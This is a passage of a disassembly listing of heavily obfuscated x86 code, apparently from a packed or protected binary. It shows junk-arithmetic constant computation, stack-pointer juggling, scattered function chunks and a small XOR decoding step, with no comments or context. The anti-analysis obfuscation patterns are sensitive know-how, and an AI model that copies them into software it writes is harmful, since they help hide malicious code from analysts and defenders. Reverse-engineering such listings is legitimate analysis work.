loc_5A7A58:				; CODE XREF: sub_5A6BBC+1BA5j
		pop	esp
		jmp	loc_5AFE47
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A7A5E:				; CODE XREF: sub_5A477C-2313j
		shr	ecx, 2
		jmp	loc_5A6085
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7A66:				; CODE XREF: sub_5AA2D1-F045j
		mov	edi, 1C6449C4h
		jmp	loc_5A6015
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAAD5


loc_5A7A70:				; CODE XREF: sub_5AAAD5-DE3Aj
		push	eax
		mov	eax, 3A2248F9h
		add	eax, 35EF78E7h
		jmp	loc_5A7092
; END OF FUNCTION CHUNK	FOR sub_5AAAD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_5A7A80:				; CODE XREF: sub_5A8215-92CEj
		push	ecx
		mov	ecx, 4
		add	edi, 4C8234D5h
		sub	edi, 19B02D7Ah
		sub	edi, ecx
		add	edi, 19B02D7Ah
		push	eax
		mov	eax, 77DE3CFAh
		xor	eax, 40F9376Ch
		or	eax, 46430D7Eh
		shl	eax, 6
		xor	eax, 9541CB55h
		sub	edi, eax
		pop	eax
		pop	ecx
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		push	esp
		pop	edi
		push	7CD4h
		mov	[esp+0], esi
		jmp	loc_5AFC14
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7ACC:				; CODE XREF: sub_5AA2D1+499Ej
		mov	[esp+0Ah+var_C+2], edi
		mov	edi, 7B064ACh
		jmp	loc_5AD089
; ---------------------------------------------------------------------------


loc_5A7AD9:				; CODE XREF: sub_5AA2D1-4C9Ej
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+2+var_4+2]
		pop	esp
		jmp	loc_59BD20
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2AFE


loc_5A7AEB:				; CODE XREF: sub_5A2AFE-932j
		sub	esi, ebx
		pop	ebx
		add	esi, ebp
		jmp	loc_5AF6B7
; END OF FUNCTION CHUNK	FOR sub_5A2AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A7AF5:				; CODE XREF: sub_5A0AA2-5B48j
		sub	ch, 36h
		add	ch, 0B0h
		push	ebx
		mov	bh, ch
		mov	ah, bh
		pop	ebx
		pop	ecx
		shl	ah, 8
		jmp	sub_5A24B6
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A7B0A:				; CODE XREF: sub_59C979+A00j
		pop	ebp
		neg	eax
		neg	eax
		not	eax
		jmp	loc_59D2CC
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5A7B16:				; CODE XREF: sub_5A16B8+21FEj
		add	ebx, edi
		add	ebx, 15543848h
		jmp	loc_5ABC4E
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7B23:				; CODE XREF: sub_5AA2D1-EC7j
		jmp	loc_59F322
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A26E8


loc_5A7B28:				; CODE XREF: sub_5A26E8-558j
		pop	ecx
		push	edi
		jmp	loc_5A2254
; END OF FUNCTION CHUNK	FOR sub_5A26E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A7B2F:				; CODE XREF: sub_59A9E9+EDFAj
		add	ebx, 18649C5h
		add	ebx, eax
		sub	ebx, 18649C5h
		mov	eax, [esp+8+var_8]
		jmp	loc_5A0D8A
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A7B45:				; CODE XREF: sub_59A26C+12D7Ej
					; sub_5A522E+86FBj
		add	ecx, eax
		jmp	loc_59B62C
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5A7B4C:				; CODE XREF: sub_59F1F3+60F1j
		push	ecx
		mov	ecx, 57BE6FF7h
		jmp	loc_5A3650
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7B57:				; CODE XREF: sub_5AA2D1+2BE5j
		shl	edi, 8
		dec	edi
		jmp	loc_5AC1B9
; ---------------------------------------------------------------------------


loc_5A7B60:				; CODE XREF: sub_5AA2D1-FD4Bj
		pop	eax
		jmp	loc_59E37C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB82


loc_5A7B66:				; CODE XREF: sub_59DB82+B48Ej
		push	[esp+arg_0]
		pop	eax
		jmp	loc_5A66B6
; END OF FUNCTION CHUNK	FOR sub_59DB82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF8FF


loc_5A7B70:				; CODE XREF: sub_5AF8FF-FF9Dj
		mov	esi, [esp+4+var_4]
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_5A0EC4
; END OF FUNCTION CHUNK	FOR sub_5AF8FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F074


loc_5A7B7C:				; CODE XREF: sub_59F074-46B4j
		shl	[esp-4+arg_0], cl
		pushf
		jmp	loc_5AD9C4
; END OF FUNCTION CHUNK	FOR sub_59F074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A7B85:				; CODE XREF: sub_59C979+880Ej
		add	bl, cl
		pop	cx
		add	bl, 4Bh
		sub	bl, al
		sub	bl, 4Bh
		push	26FAh
		mov	[esp-0Ah+arg_6], ecx
		mov	cl, 61h
		jmp	loc_5AE24D
; END OF FUNCTION CHUNK	FOR sub_59C979

; =============== S U B	R O U T	I N E =======================================



sub_5A7BA0	proc near		; CODE XREF: sub_5AA2D1-9511j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005996B1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005998F4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00599D28 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00599FDF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059A049 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059A2C3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C346 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059C745 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D64C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059DE6B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E03D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059ECEF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A06D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A08B6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A1150 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A14E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1FA5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3DC1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A4BB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A5375 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A53E3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A55FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A6105 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A6783 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A690E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A6A31 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A6E0F SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A7722 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8728 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A9866 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB063 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB6EC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AC397 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ACED3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AD1EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD68E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AD723 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AE9AF SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005AED81 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005AEFE8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005AFFD5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005B00C1 SIZE 00000017 BYTES

		sub	esp, 4
		mov	[esp+0], ecx
		push	[esp+arg_0]
		pop	ecx
		jmp	loc_5A7722
sub_5A7BA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5A7BB3:				; CODE XREF: sub_59FC02-4CD8j
		add	eax, 5C895B45h
		add	eax, ebx
		sub	eax, 5C895B45h
		add	eax, 4BBD1050h
		jmp	loc_5A3068
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------


loc_5A7BC9:				; CODE XREF: sdfs____:005AF44Aj
		push	eax
		mov	ah, 9Dh
		or	ah, 8Eh
		add	ah, 9Dh
		sub	ch, ah
		jmp	loc_5A3F41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_5A7BD9:				; CODE XREF: sub_5A86D0+7j
		pop	edi
		shr	edi, 6
		add	edi, 38F8B606h
		mov	ebp, edi
		pop	edi
		jmp	loc_5A220D
; END OF FUNCTION CHUNK	FOR sub_5A86D0

; =============== S U B	R O U T	I N E =======================================



sub_5A7BEB	proc near		; DATA XREF: sdfs____:0059908Co

; FUNCTION CHUNK AT 005A3134 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005AE14D SIZE 00000013 BYTES

		lodsb
		xor	al, bl
		push	edx
		jmp	loc_5A3134
sub_5A7BEB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7746


loc_5A7BF4:				; CODE XREF: sub_5A7746-D07Cj
		pop	ebp
		push	ecx
		jmp	loc_59CC5F
; END OF FUNCTION CHUNK	FOR sub_5A7746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A7BFB:				; CODE XREF: sub_59EE3E+6BACj
		mov	ecx, esp
		push	5572h
		mov	[esp+8+var_8], edx
		push	edi
		mov	edi, 4
		mov	edx, edi
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_599CB9
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A7C1B:				; CODE XREF: sub_5B01F7-E6C4j
		sub	edx, 59B37825h
		add	edx, ebp
		jmp	loc_5A5404
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7C28:				; CODE XREF: sub_5AA2D1-CFC3j
					; sub_59EE3E:loc_5AA6C6j ...
		pop	eax
		add	bl, 57h
		sub	bl, 0F1h
		add	bl, al
		add	bl, 0F1h
		jmp	loc_59ACC3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A7C39:				; CODE XREF: sdfs____:0059B905j
		shl	ebx, 4
		add	ebx, 4EF73647h
		jmp	loc_599D39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7C47:				; CODE XREF: sub_5AA2D1-170Ej
		sub	ebx, eax
		add	ebx, 63395605h
		sub	ebx, 764661A9h
		jmp	loc_5A5DE8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A7C5A:				; CODE XREF: sub_59CBE1+4691j
		jb	loc_5A05C5
		jmp	loc_5A1A86
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
		pop	ebp
		push	edi
		mov	edi, 78AB581Fh
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A7C6C:				; CODE XREF: sub_5992DA+4205j
		xchg	eax, [esp+28h+var_2A+2]
		pop	esp
		jmp	loc_59CCA0
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7C75:				; CODE XREF: sub_5AA2D1-33FFj
		pop	eax
		sub	esi, 11574741h
		add	esi, edi
		add	esi, 11574741h
		push	ebp
		mov	ebp, 520240F7h
		shr	ebp, 8
		inc	ebp
		add	ebp, 57C26E0Dh
		push	ecx
		mov	ecx, 3CA277EDh
		add	esi, ecx
		jmp	loc_5A31AA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A7CA1:				; CODE XREF: sdfs____:005A46ADj
		mov	[esp], eax
		mov	eax, 6BD6505Eh
		sub	ecx, eax
		jmp	loc_5AC663
; ---------------------------------------------------------------------------


loc_5A7CB0:				; CODE XREF: sdfs____:loc_5AB038j
		push	0F12h
		mov	[esp], ebx
		jmp	loc_59D65E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE40A


loc_5A7CBD:				; CODE XREF: sub_5AE40A-FA0Cj
		add	ebp, edx
		jmp	loc_5A6546
; END OF FUNCTION CHUNK	FOR sub_5AE40A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A7CC4:				; CODE XREF: sub_59D6B8+9BC0j
		mov	[esp-14h+arg_10], eax
		push	esp
		push	[esp-10h+arg_C]
		mov	eax, [esp-0Ch+arg_8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-8+arg_4]
		pop	esp
		add	esp, 4
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		div	cl
		movzx	cx, ah
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edx
		mov	edx, esp
		push	edi
		jmp	sub_59A9E9
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------


loc_5A7D05:				; CODE XREF: sdfs____:005AE2D3j
		mov	edx, 6920051Dh
		xor	edx, 9FE3991Bh
		add	ebx, edx
		jmp	loc_5AE303
; ---------------------------------------------------------------------------


loc_5A7D17:				; CODE XREF: sdfs____:005A9A65j
		push	edi
		mov	edi, ebx
		mov	ebp, edi
		pop	edi
		pop	ebx
		and	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 17C1599Eh
		add	esi, ebx
		pop	ebx
		not	esi
		not	esi
		jmp	loc_5A6E44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7D33:				; CODE XREF: sub_5AA2D1-CAE6j
		or	ch, 84h
		xor	ch, 85h
		push	eax
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_59E262
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A7D48:				; CODE XREF: sub_5AC803+3741j
		or	ch, bl
		pop	ebx
		jmp	loc_5A8CAB
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A7D50:				; CODE XREF: sub_59A26C+8E3j
		push	esi
		jmp	loc_5AB7A7
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D5EA


loc_5A7D56:				; CODE XREF: sub_59D5EA+962Aj
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		pop	esi
		push	ebp
		mov	ebp, 34232F9Fh
		sub	ecx, 3441557Eh
		sub	ecx, ebp
		add	ecx, 3441557Eh
		pop	ebp
		jmp	loc_5AD476
; END OF FUNCTION CHUNK	FOR sub_59D5EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A7D75:				; CODE XREF: sub_5A8E92-9F01j
					; sub_5A0FFF+ED5Bj
		mov	dh, al
		mov	bl, dh
		mov	edx, [esp+6+var_8+2]
		jmp	loc_5A0341
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A7D81:				; CODE XREF: sub_5A477C-50F6j
		mov	edi, 10C05841h
		add	eax, edi
		pop	edi
		jmp	loc_59F6CA
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------


loc_5A7D8E:				; CODE XREF: sdfs____:005A677Ej
		sub	ecx, edx
		pop	edx
		jmp	loc_5A88B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A7D96:				; CODE XREF: sub_5A9EBF-FD5Bj
		xor	ebx, 30693E6Eh
		or	ebx, 3DA75179h
		jl	loc_5AF092
		inc	ebx
		jle	loc_5A6626
		or	ch, 27h
		pop	eax
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7DB3:				; CODE XREF: sub_5AA2D1:loc_5A37C9j
		sub	ebx, 13F320D9h
		jmp	loc_5A9089
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A7DBE:				; CODE XREF: sub_5992DA+AE61j
		pop	ebp
		add	esp, 4
		dec	edx
		jmp	loc_5A324B
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A00E2


loc_5A7DCB:				; CODE XREF: sub_5A00E2+8E03j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], esi
		sub	esp, 4
		jmp	loc_599EC4
; END OF FUNCTION CHUNK	FOR sub_5A00E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7DE4:				; CODE XREF: sub_5AA2D1+4946j
		mov	esp, [esp-1Eh+arg_18+2]
		bts	word ptr [esp-1Eh+arg_18+2], ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A7DF2:				; CODE XREF: sub_5B01F7-A8B8j
		mov	[esp+1Eh+var_20+2], ebp
		push	ebx
		mov	ebx, 164512D8h
		dec	ebx
		add	ebx, 7578428Ch
		jle	loc_5AAAEC
		jmp	loc_5A65F8
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A7E0D:				; CODE XREF: sub_5A79BE-6AFFj
		push	esi
		mov	esi, 769D21EAh
		or	esi, 31D2778Ch
		jmp	loc_5A662B
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------


loc_5A7E1E:				; CODE XREF: sdfs____:0059BAE0j
		mov	[esp], esp
		push	ebp
		push	esi
		jmp	loc_59C57E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A7E28:				; CODE XREF: sub_59D6B8-14EBj
					; sub_5ABAD7+3j
		mov	[esp+4+var_4], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 3B586AF8h
		add	ecx, 71C91FC7h
		shr	ecx, 1
		inc	ecx
		shr	ecx, 2
		jmp	loc_5A8EA6
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A491A


loc_5A7E44:				; CODE XREF: sub_5A491A+169Dj
		add	ebx, esi
		jmp	loc_59D313
; END OF FUNCTION CHUNK	FOR sub_5A491A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5A7E4B:				; CODE XREF: sub_5B03B3-1285Ej
					; sub_5AD993-BFABj
		mov	esp, [esp+0]
		shr	ecx, 0Ah
		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	edx
		mov	edx, 460F4968h
		mov	ecx, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		sub	[esp+8+var_4], ecx
		pop	ecx
		pop	eax
		jmp	loc_5A365A
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A7E77:				; CODE XREF: sub_5A2E41:loc_59BA9Dj
		dec	ebx
		jp	loc_5A5FBC
		and	ebx, 5A1F59BBh
		jnz	loc_59DD1D
		mov	edi, ecx


loc_5A7E8C:				; CODE XREF: sub_59F566-4CDBj
		add	edx, ecx
		pop	ecx
		jmp	loc_5AC310
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7E94:				; CODE XREF: sub_5AA2D1-754j
		sub	edx, 412256A1h
		jnz	loc_5AC70A
		jmp	loc_5A5A9C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		mov	esi, eax
		mov	edi, ebx
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A7EAC:				; CODE XREF: sub_5A9D64+6079j
		inc	ebx
		jmp	loc_5AAA78
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A7EB2:				; CODE XREF: sub_59EE3E+CDC0j
		add	ebp, edi
		add	ebp, 14F3093Eh
		jmp	loc_5A19FE
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B02C0


loc_5A7EBF:				; CODE XREF: sub_5B02C0+14j
		and	dx, 7C33h
		shr	dx, 4
		push	eax
		mov	ax, 186h
		xor	ax, 5FB3h
		jmp	loc_5AAB75
; END OF FUNCTION CHUNK	FOR sub_5B02C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A7ED6:				; CODE XREF: sub_59C979+56CEj
		sub	edi, 4
		push	edi
		push	dword ptr [esp+6+var_2]
		pop	edi
		pop	[esp+6+var_6]
		pop	esp
		mov	[esp+0], edi
		mov	edi, 72F90076h
		and	edi, 48E937B9h
		jz	sub_5A9A8F
		sub	esp, 4
		mov	dword ptr [esp+2+var_2], eax
		jmp	loc_5AE0DD
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7F02:				; CODE XREF: sub_5AA2D1-A304j
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	edi, esi
		pop	esi
		add	edi, 19DF559Fh
		std
		push	edx
		jmp	loc_59A57E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A7F18:				; CODE XREF: sub_5ADD33-C890j
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	edx, 4
		push	eax
		jmp	loc_59E4BB
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A7F27:				; CODE XREF: sub_5992DA+9C3Bj
		dec	esi
		not	esi
		add	esi, 0CD2AE232h
		add	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp-8+arg_4], ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		jmp	loc_5A2E13
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_5A7F4C:				; CODE XREF: sdfs____:005A6900j
		mov	eax, [esp]
		add	esp, 4
		push	5869h
		mov	[esp], ebp
		mov	ebp, 1681DFDh
		add	eax, ebp
		jmp	loc_5A0170
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_5A7F69:				; CODE XREF: sub_5A0924-6DD3j
		push	esi
		mov	esi, 560A4668h
		sub	esi, 14AE0A7Ch
		jmp	loc_59A38C
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A7F7A:				; CODE XREF: sub_5992DA+1A66j
		mov	ebp, edi
		pop	edi
		add	edx, ebp
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_59D4EF
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_5A7F99:				; CODE XREF: sdfs____:005ADC19j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	5393h
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 5F2D231Ah
		shr	edi, 4
		jmp	loc_59BE8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A7FBA:				; CODE XREF: sub_59C979+12B93j
		pop	esi
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	1107h
		mov	[esp+6+var_6], ecx
		mov	ecx, 27020411h
		sub	dword ptr [esp+6+var_2], 145F1007h
		jmp	loc_5A6C21
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A7FDB:				; CODE XREF: sub_5A580F+8D6Cj
		inc	ebx
		dec	ebx
		sub	ebx, 1
		shl	ebx, 4
		shr	ebx, 2
		add	ebx, 50D4D34h
		sub	esi, ebx
		jmp	loc_5AB9DD
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7FF6:				; CODE XREF: sub_5AA2D1+3E6Aj
		mov	ebx, 6C2058FDh
		xor	ebx, edx
		jmp	loc_5A4B4C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A8002:				; CODE XREF: sub_59A26C+C2Aj
		mov	[esp-4+arg_0], ebx
		push	edx
		mov	edx, 0FD75EFDh
		add	edx, 0F028A107h
		mov	ebx, edx
		pop	edx
		mov	eax, ebx
		pop	ebx
		add	ecx, 56CD1926h
		sub	ecx, eax
		sub	ecx, 56CD1926h
		pop	eax
		push	ecx
		push	[esp-8+arg_8]
		pop	ecx
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		jmp	loc_5A5C24
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3BFE


loc_5A8037:				; CODE XREF: sub_5A3BFE-5983j
		add	esp, 4
		push	ebp
		mov	ebp, 117E6C2Ah
		xor	ebx, ebp
		pop	ebp
		inc	ebx
		neg	ebx
		and	ebx, 640464E7h
		add	ebx, 0FFFFFB9Fh
		jmp	loc_5A3E06
; END OF FUNCTION CHUNK	FOR sub_5A3BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A805A:				; CODE XREF: sub_5A4D9D-B2D5j
		sub	ebx, 6C2F59E5h
		add	ebx, esi
		add	ebx, 6C2F59E5h
		pop	esi
		push	edx
		mov	edx, 4
		sub	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_59917A
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A8085:				; CODE XREF: sub_5A477C-558j
		sub	edi, esi
		pop	esi
		mov	ebx, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_5A134B
